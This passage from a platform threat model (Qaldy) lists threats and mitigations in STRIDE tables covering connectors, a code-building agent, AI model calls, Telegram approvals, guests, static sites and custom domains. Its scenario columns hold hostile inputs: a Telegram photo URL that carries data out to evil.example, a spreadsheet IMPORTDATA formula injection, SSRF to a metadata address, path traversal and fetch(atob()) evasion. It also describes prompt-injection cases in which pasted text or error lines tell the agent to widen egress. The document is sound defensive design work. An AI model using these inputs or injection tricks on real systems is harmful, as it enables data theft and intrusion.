rest | implemented | API | | D | A flood fills the database | A proven sender is wrong in a loop, or an unsigned address is hammered | The webhook's rate limit still applies; at most 200 open letters per automation (the oldest make room), 256 KB each, removed after 14 days (7 once settled) by the hourly sweep | implemented | API | | T | Two people replay one letter | Both press Replay | The letter is settled in the transaction that creates the run; the loser's transaction rolls back (`409 dead_letter_settled`) and starts nothing | implemented | API | | T | A token gets around the rollback rule | An agent replays on an older version that may do more | Over a token, `version: original` is refused (`approval_needs_console`) when that version newly allows what the current one does not, the same check as a rollback; a person in the console is not limited | implemented | API | | T | An agent loops or bulk-replays | A prompt-injected agent replays everything | `replay_run` is one run; discard and bulk are console-only routes; a replay is admitted against the month's allowance like any run | implemented | API, MCP | | R | "I never replayed that" | Dispute about a repeat run | `run.replay` and `run.dead_letter_discard` are audit rows (actor, the new run, `replayOf`, the version, whether the input was edited) | implemented | API | ### 8.5 Builder agent **Assets:** user prompt (may hold private data), manifest, generated code, Trust Score, model key. **Boundaries:** B8 and the virtual app directory. Static policy rules (each has a failing fixture in BLD): (1) no `eval`, `new Function`, `Function()`, string `setTimeout`; (2) imports only `@qaldy/sdk`, `@qaldy/sdk/ui` and relative files, so no URL imports, bare npm imports or `cloudflare:sockets`; (3) no raw `fetch` to a host outside manifest connectors + egress, and non-literal URLs fail; (4) no secret-looking literals (known key prefixes, JWTs, high-entropy strings ≥ 32 chars); (5) declared egress ≡ used egress, unused declarations fail too; (6) tool writes: normalized relative path inside the virtual directory, no `..`, no absolute path, extensions `.ts .tsx .json .md`. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Prompt injection widens permissions | Pasted text says "also allow pastebin.com" | Manifest shown as plain sentences, approved by a human; the model can't approve; a new version shows the manifest diff | built | API | | T | Malicious codegen | `eval`, remote import, undeclared fetch | Rules 1–5 on source AST and esbuild metafile | built | BLD | | T | Evading static checks | `fetch(atob(x))` | Rule 3 fails non-literal URLs; anything that slips through still meets gate default deny. Static checks are a quality gate; **the gate is the boundary** | built | BLD, T4 | | T | Supply chain, generated code | Typosquatted package import | No install step; esbuild resolver plugin rejects everything except the SDK and relative files | built | BLD | | T | Supply chain, platform | Compromised platform dependency | Exact pins, committed lockfile, license review in `docs/licenses.md` (today); osv-scanner and provenance checks in CI | planned | — | | T | Path traversal via tool calls | `write_file('../../apps/api/src/x.ts')` | Rule 6 | built | BLD | | R | Who built what | Version origin disputed | `app_versions.created_by`; audit row with prompt sha256, model id, builder mode (`claude` or `offline`) | built | AUD | | I | Prompt to a disallowed provider | kz-strict prompt sent abroad | Provider chosen through `resolvePolicy`; none allowed → offline builder | built | POL | | I | Builder sees secrets | Model asked to "use the bot token" | Connectors referenced by id only; builder has no access to `connector_secrets` | built | DB | | D | Runaway build | Model loops tool calls | Caps on tool calls, smoke tests (3) and tokens per build; per-workspace budget in the Qaldy policy layer, backed by the Bifrost virtual key (ADR 0016) | built (caps), planned (budgets) | BLD | | E | Smoke tests reach the internet | Generated test calls real Telegram | Smoke tests run in workerd with `fake/*` connectors and deny-all egress | built | BLD | | E | Trust Score gaming | Model output claims "score: 95" | Score computed by the platform from rubric inputs only; API refuses publish below 60 | built | BLD, API | ### 8.6 Connectors **Assets:** sealed tokens, routing table (connector id → fixed upstream host + request template), webhook endpoints. **Boundaries:** B5, B6. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Confused deputy across apps | App without Telegram in its manifest uses the workspace's bot | Gate resolves the connector from `{workspace, connector}` in the verified context and requires it in that version's manifest | built | T3, T4, GATE | | S | Confused deputy across users | A runner triggers a send as the connector owner | By design workspace connectors act as service accounts; the manifest sentence says whose account sends; `can_run` decides who may trigger. Per-user OAuth for user-scoped connectors (Gmail) later | accepted-risk / planned | FGA | | S | Forged inbound webhook | Attacker posts to an app's webhook trigger | Per-automation secret: HMAC-SHA256 over timestamp and body with a five-minute skew and replay protection; a shared token mode for senders that cannot sign; per-hook rate limit; the secret is sealed at rest and shown once | built | API (`webhooks.test.ts`) | | T | Sealed blob moved | Blob of connector A copied to connector B | HPKE `aad` binds `{workspace, connector_id, key_id}`; a moved blob fails to open | built | HPKE | | I | Token readable after entry | Admin or API reads it back | Write-only: sealed on receipt, never returned; UI shows "Connected · write-only"; rotation means writing a new one | built | DB, API | | I | SSRF via parameters | `chat_id=../../x` or an `@evil.com` value | Upstream host fixed per connector; app values go only into encoded path segments or the JSON body per route template; apps can't supply URLs | built | GATE | | E | Bot API methods beyond the SDK's | A policy lists `getUpdates` or `setWebhook` (a careless control plane, a hand-written manifest) | The gate forwards only `sendMessage`, `sendPhoto`, `sendDocument`, `editMessageText` and `answerCallbackQuery`; any other Telegram method is `403 egress_blocked` (`action_not_supported`) whatever the policy says | built | GATE | | E | Telegram fetches a URL for the app | `sendPhoto` with `photo: "https://evil.example/?d="`: Telegram's own servers make the request, outside the gate's egress | A photo or document URL is egress: it must be https on port 443 and its host must be on the app's allowlist (`domain_not_allowed` otherwise, the host named in the audit row); `attach://`, plain http, IP literals and userinfo are refused (`media_not_allowed`); Telegram file ids pass. The body is re-serialised from what the gate parsed, so a repeated `photo` key can't carry a second, unchecked URL past a parser that keeps the first copy | built | GATE | | I | Key in a query string | An HTTP API connection sends its key as `?api_key=…`, which upstream access logs and proxies keep | The query auth style is removed. Zod refuses it with the reason; a value stored earlier is read and refused by the gate (`connector_query_auth_removed`), the console shows the connection as not working with the fix | built | GATE, API | | I | Webhook URL is the credential | Slack incoming webhooks and Bitrix24 inbound webhooks carry the secret in the URL path | `path_token` auth: the gate splices the sealed secret into the path; the app never sees it, cannot replace it (its path is appended after) or climb out of it (dot segments and encoded separators are refused), and the reply is scrubbed of the whole secret and each of its segments. The secret never appears in audit rows, events or logs | built | GATE | | I | Service-account key in the API | A Google key file holds a private key, and the API reads it before sealing | The API reads the file once in the request (never stored or logged), keeps only `{ type, client_email, private_key }`, seals it to the gate with aad `{workspace, sheets, key id}` and keeps the `client_email` (not secret) in the connection's `config`. The key is checked first: size, JSON shape, an OAuth client file refused, an RSA key of 2048 bits or more | built | API, GATE | | S | Key file aims the gate elsewhere | A key file's `token_uri` points at an attacker's server, so the gate sends its signed assertion there | `token_uri` is dropped on upload and ignored by the gate: the token host (`oauth2.googleapis.com`) and the Sheets host are constants, every resolved address must be public | built | GATE | | E | Sheets writes by a read-only app | An app declares only `readRange` but the account is an editor | A read asks Google for a read-only token (`spreadsheets.readonly`) and a write for the full scope; tokens are cached per scope. Which spreadsheets is Google's fence: the account sees only sheets shared with it | built | GATE | | T | Formula injection through a cell | An app appends `=IMPORTDATA("https://evil…")` taken from a form, which Sheets would then run | `appendRow` uses `valueInputOption=RAW`: a value is stored as typed and never evaluated | built | GATE | | I | Token cache across tenants | One workspace is handed another's Google token | The cache key is `sha256(workspace, sealed blob, scope)`; a rotated key is a new entry; tokens live in gate memory only (zeroised) and never reach audit rows, events or logs | built | GATE | | S | Public form spam, and a bot that learns it was caught | Anyone posts to a form's address; a bot is told it was rejected and adapts | No proof is possible for a form, so it is limited instead: a hidden honeypot field (a bot is answered `202` and nothing starts, so it learns nothing), 5 submissions a minute per address and a per-form limit, a 32 KB / 40-field cap and an optional `Origin` list. The address is `CF-Connecting-IP` in production. A script that names no `Origin` is not stopped by the list; it is limited by the rates | built | API | | S | Forged Telegram or GitHub delivery | Anyone who knows an automation's webhook address posts a fake update or event | Telegram: the `secret_token` header is compared in constant time with a digest of the token. GitHub: `X-Hub-Signature-256`, HMAC-SHA256 over the raw body with the webhook secret. The sender's own ids (`update_id`, `X-GitHub-Delivery`) make a retry a repeat, not a second run. GitHub's scheme has no timestamp, so a captured delivery can be replayed | built | API | | E | Fake connectors in production | `fake/*` reachable in prod | Gate refuses to start with `fake/*` routes when `QALDY_ENV=production` | built | GATE | ### 8.6a AI models for apps (BYOK) **Assets:** sealed provider keys, each app's monthly budget and the books behind it, the prompts and replies in flight. **Boundaries:** B5, B6. Guide: `docs/connectors/ai-models.md` (Preview). | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Confused deputy across apps | An app without `ai` in its manifest, or naming another model, spends the workspace's key | The gate reads the verified version's `ai` policy: no `ai` is `403 ai_not_declared`, a model the manifest doesn't name is `403 ai_model_not_declared`, both before the budget is touched | built | GATE | | T | Sealed key moved | The blob of connection A, or of a key for another host, is copied into a connection | HPKE `aad` is `ai::`; the key opens only for its own connection and host, and the gate pins the provider host from the connection | built | GATE, HPKE | | I | Key readable | An admin, an app or an error message gets the key back | Write-only: sealed on receipt, never returned or logged; opened in the gate for one call; the gate scrubs the key (and the sealed form) from replies and errors | built | GATE, API, DB | | I | Prompt or reply stored | Content ends up in the audit log, usage tables or events | The books and audit hold counts, model, cost and outcome only; INTERNAL_API §10 has no content field and the API's body schemas are strict | built | API | | I | SSRF through the provider address | An OpenAI-compatible connection points at `169.254.169.254` or an internal name | Address rules as the HTTP connector (https, 443, public name, no userinfo or query); the API refuses a name that resolves private and the gate re-checks every resolved address per call; redirects are never followed | built | GATE, API | | D | Overspend | Two calls at once, or two gates, spend the last dollar; a loop burns the key | Reserve before sending (spent + open reservations + this one against the budget, under a per-app advisory lock), settle with real tokens; the gate fails closed when the books are unreachable; at most 8 calls per app in flight, 256 KB per request, 120 s per call | built | API, GATE | | D | Budget bypass by lying about size | An app sends a tiny `maxTokens` to reserve little, then streams a lot | The gate sets the provider's output limit from the same `maxTokens` it reserved and settles from what the provider counted | built | GATE | | E | A member spends the admin's key | A member approves an app that declares AI | Approval needs an admin (`admin_approval_required`, audited as `build.approval_refused`); a personal access token can't change keys or budgets | built | API | | E | Data leaves a region it must stay in | A `kz-*` workspace connects a foreign provider | Not offered: the API refuses `ai_not_allowed` and the console says so; `ai.profile: "private"` is refused until in-region models exist | built | API, POL | | T | Prompt injection through a reply | A model reply carries instructions the app acts on | The SDK documents replies as untrusted text; runtime taint enforcement is the T8 gap (§10) and covers AI-run external sends only once built | planned | — | ### 8.6b Telegram ops (approvals, links, alerts chat) **Assets:** the bot's sealed token (never leaves the gate), the webhook `secret_token`, one-time link codes, the link between a Telegram account and a Qaldy person, the right to decide an approval. **Boundaries:** B1 (console), B6 (gate to Telegram), and the webhook `POST /v1/telegram/:hookId` from Telegram's servers to the API. Guide: `docs/connectors/telegram.md`, "Approvals and alerts in Telegram" (Preview: not yet run against the live Bot API). | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Forged webhook update | Someone who learns the address posts a `callback_query` that "approves" something | The address carries an unguessable id and every request must send `X-Telegram-Bot-Api-Secret-Token`, compared in constant time against a peppered digest (the secret is shown to Telegram once and never stored). Without it: `401`, the same answer for a wrong secret and an unknown address. A cookie or an `Origin` proves nothing here. Addresses that keep failing are slowed per client address before the database is asked | built | API | | S | Pressing someone else's button | A message is forwarded to a group, or a teammate gets hold of a phone with the chat open | Telegram authenticates `from.id`. A press is accepted only if the data is signed for this workspace (HMAC), names a message this bot sent, arrives from that message's chat, comes from the Telegram account linked to the person it was sent to, that person is still a member, and `decideApproval` agrees the approval was asked of them. Every refusal is an audit row (`telegram.press_refused`) | built | API | | S | Linking someone else's account | An attacker claims a Qaldy person's identity with a Telegram account of their own | A link needs a one-time code made in the signed-in person's console session: 10 minutes, used once, kept as a peppered digest, valid only in the workspace whose bot received it, accepted only in a private chat. A code posted in a group is cancelled on sight. Wrong codes are limited per Telegram account (5, then one a minute) and per bot. A Telegram account can belong to one person per workspace | built | API | | T | Double decision | A press is delivered twice, or approved in the console and Telegram at once | The decision is one conditional update (`state = 'pending'`), so there is exactly one winner; the loser is told "already decided". Telegram's repeat of an `update_id` is dropped. One message per approval per person is claimed in the database before it is sent | built | API | | R | Disputed decision | "I never approved that" | `approval.decide` records the person and `via: telegram`; linking, unlinking, code requests, turning Telegram on or off, the alerts chat and every delivery attempt are audit rows. No token, secret, code or message text is written | built | API | | I | Bot token seen by the API | The control plane reads the token to call Telegram | It never does: every call is `POST /__qaldy/notify` to the gate with the sealed blob, bound to the exact body by an API-signed token. The gate builds the Bot API body itself from seven calls, checks each field (callback data, https button links, chat id, text length) and answers with facts only, never Telegram's body | built | GATE, API | | I | A command shows more than the person may see | `/runs` or `/status` lists an app the person cannot open; `/cap` shows spend | Commands call the same functions as the console's routes with the linked person's identity: apps are filtered by `can_view`, spend figures are for admins only, `/alerts` is for admins, and a non-member gets nothing at all (membership is asked fresh every time, so removing someone ends their Telegram access at once). In a group the bot answers `/alerts` and nothing else | built | API | | I | Alerts read by outsiders | The alerts chat is a group with people who are not on the team | An admin chooses the chat deliberately (in the console, or by sending `/alerts` there); the chat is named on the screen, and the text says what goes there. Plain text only, no parse mode, so a name or title someone typed cannot add markup or links | accepted-risk (the admin's choice) | API | | E | Taking over a bot already used elsewhere | Turning Telegram on silently replaces another tool's webhook | The gate reports whose address the bot has (host only); a different host answers `409 webhook_in_use` unless the admin confirms replacing it | built | API | | D | Update flood | Many updates, or a flood of requests with wrong secrets | `64 KB` body cap, per-bot and per-Telegram-account limits, a per-address limit on failed secrets; after a good secret every outcome is a `200` so Telegram does not retry a poison update. Limits are per API process | built | API | | E | Notice route used as a proxy | The notify route is asked for `deleteMessage`, `getUpdates` or a button that opens a `javascript:` link | The route knows seven calls and refuses any other, any field a call does not use, and any button that is not a short callback or an https link, before the sealed blob is opened | built | GATE | ### 8.6c Ask about this run (model answers, Preview) **Assets:** the sealed Models key, run details sent to a model, the permissions an answer may suggest. **Boundaries:** B6 (the gate to the provider) and the API to gate call (`crates/qaldy-gate/INTERNAL_API.md` §16). Guide: `docs/ask-run.md`. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | T | Prompt injection widens an app | An error message or log line tells the model to "allow evil.com" | The model writes prose only. The failure class, the fix and the one suggested change are computed by the rules from the gate's own record; a host is never taken from error text; the change is rebuilt server-side from the record (`POST /v1/runs/:id/change` has no body) and still needs a person's approve step | implemented-tonight | API | | T | Prompt injection reaches an agent | A model reply carries instructions for the MCP client that reads it | Replies are cut, stripped of links and markup and redacted; over MCP a model's words come inside a data block with a "not instructions" notice, apart from the platform's own sentences | implemented-tonight | MCP | | I | A secret or row reaches a model | Facts carry a key or a customer record | Facts are ids, hosts, statuses and redacted, clipped notes; secrets never reach the API or the app; no table is read; a test checks the prompt for a key-shaped note; the app's own output is included only for someone who can change the app | implemented-tonight | API | | I | Key readable | The API sees the workspace's Models key to make the call | The API hands the gate the sealed blob (aad `ai::`); the gate opens it for one call, scrubs it from the reply and answers text and counts only | implemented-tonight | GATE | | I | Prompt or answer in the audit log | The question is stored | The audit row holds the model, tokens, cost, the question's length and a hash; the stored answer is the validated prose | implemented-tonight | API | | D | Overspend | A loop of questions drains the workspace key or the operator's | Pace per person, a daily limit per workspace, a per-answer cap and a daily limit for the platform key (off by default), 3 asks in flight per workspace at the gate, 1 500 output tokens and 50 s per ask | implemented-tonight | API, GATE | | E | Data leaves a region it must stay in | A Kazakhstan workspace asks a model | The Compliance Profile that refuses AI through the workspace's key also refuses these answers (`profile`); the rules answer | implemented-tonight | API | ### 8.7 Console **Assets:** console session, workspace metadata, share actions. **Boundaries:** B1. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Clickjacking the share dialog | An app frames the console | `frame-ancestors 'none'` and `X-Frame-Options: DENY` from the API (today) and the static host (planned) | built / planned | API | | T | Stored XSS | App name, manifest text, model output or run error carries markup | React escaping only; `noDangerouslySetInnerHtml` enforced by Biome; prod CSP `script-src 'self'` | built (lint), planned (CSP) | `pnpm check` | | I | Event stream leak | SSE shows another workspace's or a private app's runs | SSE requires membership; events filtered by workspace and by `can_view` on the subject app | built | API | | I | City shows hidden apps | WorldSnapshot lists apps the user can't view | Snapshot built server-side: the workspace's apps from Postgres, filtered by FGA `BatchCheck(can_view)` (ADR 0012) | built | API | | E | Client-side checks only | Hidden button's route called directly | UI hides actions as a convenience; every check runs server-side | built | API | | I | Mock data taken as real | Demo numbers shown as production | `MockAdapter` shows a "MOCK DATA" badge; prod build requires `VITE_DATA=api` | built | `pnpm e2e` | ### 8.7a Team: roles, invites, handover and company domains **Assets:** who is in a workspace and with which rights, join links, the company-domain rule. **Boundaries:** B1. Rules in `packages/contracts/src/team.ts`, enforced in `apps/api/src/domain/team.ts`; see `docs/team.md`. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | E | Admin makes themselves or a friend owner | PATCH a role to `owner`, or promote through an invite | Ownership is never assigned: only the owner's transfer moves it (name typed, new owner permanent). An admin cannot make, change or remove an owner; invites cannot carry `owner` | built | `apps/api/tests/team.test.ts`, `team.test.ts` (contracts) | | D | Workspace left with no owner | Two owners demote each other at once, or the last owner leaves | The last owner cannot leave or be demoted; every change takes a per-workspace turn and re-checks its facts under a row lock before it commits | built | API | | E | Viewer or member builds | A read-only role calls the build routes, or makes a write token | Planning and approving a build, drawing a road and creating a backend need Builder (403 `builder_only`); a viewer can only make read tokens | built | API | | S | Forwarded invite link | A join link is passed to someone else | A link is for one address: the signed-in, verified address must match (403 `invite_other_email`); the database keeps only the link's SHA-256; links expire (1 to 30 days) and can be revoked or replaced | built | API | | D | Invite email used to flood an inbox or burn Qaldy's sender reputation | An admin invites one address over and over | 5 invite emails a day per address and 50 a day per workspace (429 `invite_mail_limit`; per API process); "make links" sends nothing | built (per process) | API | | E | Access that should have ended | An agency's access outlives the contract | `memberships.expires_at` is checked on every workspace and app request; a monitor removes the person once a minute (tuples, team and app grants, tokens, audit row, email). An invite cannot outlive or be accepted after its end date | built (gate and runtime within a minute) | API | | E | Claiming someone else's domain | An admin claims `bigco.com` to auto-admit its staff | DNS TXT at `_qaldy-verify.` is the only proof; mail providers cannot be claimed; names are ASCII or `xn--`; joining needs a verified address on that exact domain and gives Member or Viewer only; 12 checks an hour; the rule is audited | built (no re-check later) | API | | I | A removed person keeps a back door | Direct app grants, team tuples or tokens survive removal | Removal deletes every role tuple, their team tuples and direct grants on the workspace's apps, hands their apps to the remover, and revokes their tokens in it; an event stream closes at its next heartbeat | built | API | | T | Database and OpenFGA disagree | A crash between the two writes | OpenFGA is written first (a failure changes nothing); a database failure puts the tuples back; `syncMembershipTuples` at start writes any missing tuple for a membership row and never deletes | built | API | ### 8.7b Guests: one app, a link and an email code (`docs/guests.md`) **Assets:** an app's data and behaviour, the guest's address, the codes and links. **Boundaries:** B1 (a person with no account to the gate), B3 (gate to host). Rules in `packages/contracts/src/guests.ts`, enforced in `apps/api/src/domain/guests.ts` and `guest-access.ts`. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | E | A guest reaches more than their app | They keep their session and ask for another app, another workspace or the console | A guest is not a user: no session cookie, no membership, no OpenFGA tuple, so the whole `/v1` API answers 401. The gate's check for a `gst_` id is answered from the guest's own row, which must name this app and this workspace; the gate cookie is bound to one host; a guest is never more than Viewer or Runner | implemented | API (`guests.test.ts`: other apps, other workspaces, look-alike ids), GATE (`guest_flows.rs`) | | S | A forwarded or leaked invite link | The link is pasted in a chat | The link alone opens nothing: a code goes only to the invited address, 6 digits, 10 minutes, once. The link is 256 random bits, the database keeps its SHA-256, and "Resend link" kills the old one | implemented | API | | S | Guessing a code | An attacker who knows an address and an app tries codes | 5 tries per code, 10 wrong in 15 minutes pauses the guest for an hour (audited), 5 code emails per 15 minutes and 15 a day per guest, 30 checks per 15 minutes per network address. At most about 190 guesses a day against a million; the owner can end the guest any time | implemented (address counters per process; per-guest counters in the database) | API | | I | Finding out who has access | Asking for a code by app address with other people's emails | That path answers the same whether or not the address was invited and sends an email only when it was; every wrong guess there reads "not the right code". Public routes carry the secret in the body, never the path | implemented (a timing difference remains, see `docs/guests.md`) | API | | D | Qaldy's mail used to flood an inbox or burn its sender reputation | An owner, or someone who knows an invited address, asks for mail again and again | 5 invite emails a day per address and 50 per workspace; 1 code per 30 s, 5 per 15 min and 15 a day per guest; a code can only be sent to an address that holds a live invite; "copy a link" sends nothing | implemented (per process) | API | | E | Access that should have ended | A guest's time runs out, or the owner revokes, or an admin switches guests off | Expiry, revocation and the policy are read from the row on every gate check; the gate keeps an answer 5 s at most and the API invalidates its cache on every change; turning guests off ends every open guest | implemented | API, GATE | | E | A member bypasses roles through guest access | Someone already in the workspace is invited as a guest | Refused (`already_member`); guests exist for outsiders | implemented | API | | I | A guest's address in the audit log or the logs | Reading the chain, or the API log | Audit rows hold the guest's id and a masked address, never a link, token or code; the logger redacts secret-named fields; a code is only ever printed by the DEV ONLY mailer outside production | implemented | API | | R | A guest acts and nobody can say who | An app is opened or a code guessed | `guest.sign_in` (actor `guest`), `guest.locked`, and the gate's `ingress.session.started` and `ingress.denied` rows, all hash-chained | implemented | API, GATE | | T | A forged code from another guest's grant | A code for guest A used on guest B's link | A code is an HMAC bound to the guest's id; it opens only that grant | implemented | API | | I | An outsider's address kept for ever | Guests pile up after their access ends | An ended guest can be forgotten by the owner at any time, and the ones nobody forgot are deleted 90 days after their access ended (masked audit row, once a minute where schedules run) | implemented | API (`sweepOldGuests`) | | E | Outsiders where the profile forbids them | A `kz-strict` workspace invites an outsider | `guestsPossible` is false for kz-strict: nothing can turn guests on, and an invite is refused | implemented | POL (`policy.test.ts`), API | ### 8.8 User-content domain **Assets:** per-app session cookies, app-rendered HTML. **Boundaries:** B2. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | App A acts on app B | Script on A posts to B with the user's B cookie | Until `qaldy.app` is on the Public Suffix List, apps are same-site with each other and `SameSite` doesn't separate them. Gate rejects non-GET requests with `Sec-Fetch-Site: same-site` or `cross-site` unless the route is a declared form or webhook trigger | built (header check), planned (PSL) | GATE | | S | Look-alike login | App renders a fake Qaldy sign-in | Sign-in only on the console domain; apps never get console cookies; gate-injected "Made by {workspace} on Qaldy" bar on public-link apps | accepted-risk for now, planned (bar) | — | | T | Cookie tossing | App sets `Domain=qaldy.app` to fix sessions | Gate reads only its own host-only cookie name; PSL entry blocks parent-domain cookies | built / planned (PSL) | GATE | | I | App reads console data | `fetch(api, {credentials: 'include'})` from an app | Different site, so the `SameSite=Lax` console cookie isn't sent; CORS rejects app origins | built | API | ### 8.9 Exposure probe (pre-publish black-box check) **Assets:** the app's real database and connectors (must stay unreachable from a probe), findings (content-free), the publish gate. **Boundaries:** B3 (API to runtime host), the sandbox isolate. Code: contracts `probe-engine.ts` (the questions and the judging, pure), `probe-sandbox.ts` (the sandbox's modules, planted records, identities), runtime-host `probe-host.ts` (`POST /__qaldy/probe`), API `domain/probe.ts` (records, rate limits, the gate), console `ProbePanel` and `PublicLinkPanel`. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | T | A probe changes or reads real data | An injection probe POSTs to a form, or a GET handler deletes rows | The sandbox's database is a separate Durable Object (`~probe~`), emptied before and after every run and seeded with one marker row per declared table; the real app's database is never opened | built (beta) | HOST (`probe-sandbox.test.ts`) | | T | A probe sends a real message or spends a connector | A page view calls Telegram | The sandbox's `fetch` is replaced by a recorder that answers `403 egress_blocked`, and its `globalOutbound` is a deny-all entrypoint with no `connect()`; the sandbox cannot reach the gate, a connector or the internet | built (beta) | HOST, BLD (`probe-workerd.test.ts` fails if the sandbox reaches the network) | | I | The report leaks what the probe found | A finding stores a record, a token or a response body | A finding holds a code, a route, a persona and a status, type and size; the engine never keeps a body past the judging of one answer, and a test fails if a planted record, a credential or a body appears in a report | built (beta) | CON (`probe-engine.test.ts`, `probe-workerd.test.ts`) | | S | A forged probe request | Anyone calls `/__qaldy/probe` | An API-signed `qaldy.probe.v1` token, ≤ 120 s, strict claims, one-time `jti`, bound to one app, version and workspace | built (beta) | HOST (`probe-sandbox.test.ts`) | | D | Probe abuse | A script re-runs probes to load the runtime host | 30 s between manual runs and 12 an hour per app, one running probe per version, a 22 s time and 260 request budget in the host | built (beta) | API (`probe.test.ts`) | | E | A public link turned on without a check | The share route called directly or by token | `PATCH /v1/apps/:id/share` refuses `generalAccess: link` without a current, unblocked check of the current version and a typed confirm that names it; console-only for tokens | built (beta) | API | | R | Who published what | "I never made it public" | `app.probe.start`, `app.probe.finish` and `share.update` (with the probe id and `publicConfirmed`) in the audit chain | built (beta) | API | **What it cannot do.** It calls the app directly, the way a public link would, so it shows what a stranger could reach if the gate were not in the way; it cannot prove an app safe. Routes that call a connector fail in the sandbox (the call is refused), so the check records the attempt but cannot see past it. Findings are only as good as the routes it can discover (links, form actions, route literals in the bundle and a short list of common names). The gate applies when the link is turned on: an app that is already public keeps its link when a later version's check finds a high finding (the panel shows "Not ready"); revoking it automatically is planned. ### 8.10 Static sites (Sites, `docs/sites/README.md`) **Assets:** a company's site files, other workspaces' files, the host's CPU and memory, the cell's database. **Boundaries:** B1 (visitor to gate), B3 (gate to host), host to API. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | T | Zip slip | An entry named `../../x` or an absolute or drive path | Nothing is extracted to a disk. Any climbing path refuses the whole upload, even in a file that would be left out; the host checks request paths with the same rule | built | `apps/api/src/sites/archive.test.ts`, `site-path.test.ts` | | D | Zip bomb | 10 GB of zeros in 10 MB; a header that lies about its size; a million entries | Directory read first: entry count, declared sizes, ratio over 1000:1; inflate is capped at the declared size and the CRC must match; 50 MB body limit enforced on the stream; 2 uploads unpacked at a time per process | built | `archive.test.ts`, `tests/sites.test.ts` | | T | Ambiguous archive | Local header and directory disagree; overlapping entries | A strict reader that refuses both | built | `archive.test.ts` | | E | Hosting an executable or server script | `shell.php`, `.exe`, an archive | Extension allowlist; `nosniff` on every answer; a site runs no code on Qaldy servers | built | `archive.test.ts`, `site-serve.test.ts` | | I | Secrets in a zipped folder | `.env`, `.git/` published with the site | Hidden files and folders are never published and are listed | built | `packages/contracts/src/sites.test.ts` | | I | Cross-tenant file read | A host asked for another workspace's blob by hash | A blob is read only through `site_version_blobs` for the signed version, keyed by workspace; the version in the path comes from a gate-signed context | built | `tests/sites.test.ts` | | T | Tampered storage or transit | A manifest or file changes between upload and visitor | The host recomputes the manifest hash and every file's sha256 before answering | built | `host-site.test.ts`, `site-serve.test.ts` | | I | Shared cache serves a private site | Cloudflare stores a `.js` from behind the login | Every answer is `Cache-Control: private` or `no-store` | built | `site-path.test.ts` | | R | A change nobody can account for | A new version or a rollback with no record | Each publish, activate, rollback and delete writes a hash-chained audit row in the same transaction | built | `tests/sites.test.ts` | | S | Forged traffic numbers | Anyone reports views for a site | The report is a host-signed token bound to its body hash, short-lived, single-use; entries for unknown or foreign sites are ignored | built | `tests/sites-usage.test.ts` | | E | A leaked deploy token publishes content | A `write` token replaces a live site | A token can upload a version and, by default, it goes live (that is what CI needs). Activating, rolling back and deleting are console-only. Tokens are revocable, scoped to one workspace, and every call is audited (`token.call`, and `site.publish` with source `api`). The site's script runs only in its own origin | accepted-risk | `apps/api/tests/sites.test.ts` | ### 8.11 Backend data API (keys, rules, sign-in tokens) Detail: `docs/backend/access-policies.md`. Proofs: `apps/api/src/baas/policy.test.ts`, `apps/runtime-host/src/baas/guard.test.ts`, `packages/contracts/src/baas-policy.test.ts`. | Threat | Defence | |---|---| | A table is reachable by someone who should not reach it | Private until a rule says otherwise; opening to visitors needs the table name typed back by a person (never an agent, key or token) | | A visitor reads another person's rows | Rules compile to a row guard; the runtime host ANDs the scope into the SQL and masks returned rows. A row outside the scope is a 404 | | A hidden value is recovered by filtering, sorting or counting | A column the caller cannot read is "no such column"; a column visible on some rows only cannot be filtered or sorted by; counts are inside the scope | | A forged or confused token | RS256/ES256/EdDSA only, `kid` pinned to pasted public keys, `iss`/`aud` pinned, `exp` required and at most 24 h; `none`, HS256 and private keys refused; failures are `401` and rate-limited per address | | A client claims a role or a user id | Only a verified token's claims count; headers and query values are ignored | | A browser page not listed by the owner calls the API | `403 origin_not_allowed` and no CORS headers; a secret key from any page is refused | | One visitor spends the public key's budget | Per-address bucket on publishable keys, per-key bucket, 256 KB body cap | | A new code path reads rows without asking the rules | Row operations take the caller's access as a required argument; a test pins the four files that may pass the unbounded one | | An agent opens or changes who may read a table | Rules, identity and settings are console-only routes; personal tokens get `403 console_only` | Not covered: tokens are bearer credentials for up to 24 h (the owner's server decides who gets one); JWKS by URL and Qaldy-issued sign-in do not exist; limits are per API process. ### 8.12 Custom domains (`docs/hosting/custom-domains.md`) **Assets:** a customer's hostname and the content served on it, the Cloudflare token, other tenants' claims. **Boundaries:** B1 (visitor to gate), API to Cloudflare, API to public DNS. | | Threat | Scenario | Mitigation in Qaldy | Status | Proof | |---|---|---|---|---|---| | S | Claiming a name that is not yours | A tenant types `tools.victim.com` | Every claim needs a TXT record `_qaldy-host.` holding a random token made for that claim, so only whoever controls the name's DNS can add it. Nothing is registered with the certificate provider and the gate answers nothing until it is read from public DNS | built | `apps/api/tests/domains.test.ts`, `custom_flows.rs` | | S | Dangling CNAME takeover | A company leaves `tools.acme.kz → cname.qaldy.app` after it stops using us; a stranger claims the name | Same proof: the stranger cannot add the TXT. A removed claim's row is deleted, so the name is free but never inherited; the new claimant proves it afresh ("lets a freed hostname be claimed by someone else, who must prove it again") | built | `domains.test.ts` | | T | Two tenants hold one name | Two workspaces both prove a name | A partial unique index lets one claim past the proof hold a name; the later one ends as `failed`/`blocked` | built | `packages/db/tests/domains.test.ts`, `domains.test.ts` | | E | A cookie outlives the name's app | A name is removed and attached to another app; an old session still names the first | The gate binds a session to the host **and** to the app and workspace the control plane says the name opens now, and refuses a handoff for another app | built | `custom_flows.rs` | | I | The gate leaks which names exist | Probing hostnames | An unknown, unproven or removed name is the same plain not-found page; the internal lookup answers `found: false`, never 404; only plain DNS names reach it | built | `custom_flows.rs`, `host.rs` | 